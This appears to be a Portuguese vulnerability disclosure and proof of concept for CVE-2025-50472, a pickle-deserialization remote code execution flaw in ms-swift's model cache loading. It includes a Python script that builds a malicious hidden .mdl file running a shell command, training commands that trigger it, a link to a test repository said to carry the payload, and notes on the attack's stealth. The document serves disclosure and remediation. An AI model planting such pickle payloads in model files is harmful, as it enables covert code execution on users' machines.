
Prova de conceito de exploit para CVE-2025-50472, uma vulnerabilidade de RCE por desserialização no ModelFileSystemCache do ms-swift da ModelScope por meio de arquivos .mdl maliciosos.
Enviei um repositório de código contendo um arquivo .mdl malicioso para o ModelScope para fins de teste. Ele pode ser usado diretamente durante o teste. O link é: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
O arquivo .mdl contém código malicioso incorporado, mas nenhum aviso de segurança é exibido no ModelScope.
Código do PoC:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
O procedimento para reproduzir o problema é o seguinte:
O modelo é baixado
Após a execução do código malicioso, o treinamento prossegue normalmente sem interrupção
O payload malicioso é executado com sucesso
A biblioteca modelscope/ms-swift até a versão 2.6.1 é vulnerável à execução arbitrária de código através da desserialização de dados não confiáveis na função load_model_meta() da classe ModelFileSystemCache(). Atacantes podem executar código e comandos arbitrários criando um payload .mdl serializado malicioso, explorando o uso de pickle.load() em dados de fontes potencialmente não confiáveis. Essa vulnerabilidade permite a execução remota de código (RCE) ao enganar as vítimas para que carreguem um checkpoint aparentemente inofensivo durante um processo normal de treinamento, permitindo assim que atacantes executem código arbitrário na máquina alvo.
Observe que o arquivo de payload é um arquivo oculto, dificultando a detecção de adulteração pela vítima. Mais importante ainda, durante o processo de treinamento do modelo, após o arquivo .mdl ser carregado e executar código arbitrário, o processo normal de treinamento permanece inalterado, o que significa que o usuário permanece alheio à execução de código arbitrário.
Descrição detalhada da vulnerabilidade: A vulnerabilidade resulta da desserialização insegura de dados não confiáveis. O script usa pickle.load para carregar o arquivo de cache oculto e é vulnerável à execução de código.
Fluxo de código desde a entrada até a condição vulnerável:
~/.cache/modelscope/hub/xx/xx, onde um arquivo de cache .mdl estava presente no diretório do modelo, contendo informações básicas como o nome do modelo.caching.py desserializou o arquivo .mdl, o código malicioso incorporado no arquivo foi executado.Ponto de injeção: A vulnerabilidade ocorre no ponto onde pickle.load é chamado.
GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
Correções sugeridas: Ao lidar com arquivos de configuração (em vez de arquivos de modelo), recomenda-se adotar métodos de análise de arquivos mais seguros, como yaml.safe_load(yaml_file) ou json.load, para mitigar o risco de execução arbitrária de código.
exploit.py para criar um arquivo de cache malicioso .mdl que criará um diretório no sistema da vítima:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
Substitua o arquivo .mdl original no diretório do modelo pelo arquivo maliciosamente criado gerado acima.
Quando o parâmetro model_id_or_path é especificado durante o treinamento para referenciar um diretório de modelo local, um arquivo .mdl adulterado no caminho especificado pode resultar em execução remota de código (RCE).
Importante, tal modificação não interrompe o fluxo normal de treinamento, tornando o ataque RCE furtivo e difícil de ser detectado pelos usuários.
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan (凡浩) e Yu Rong (戎誉)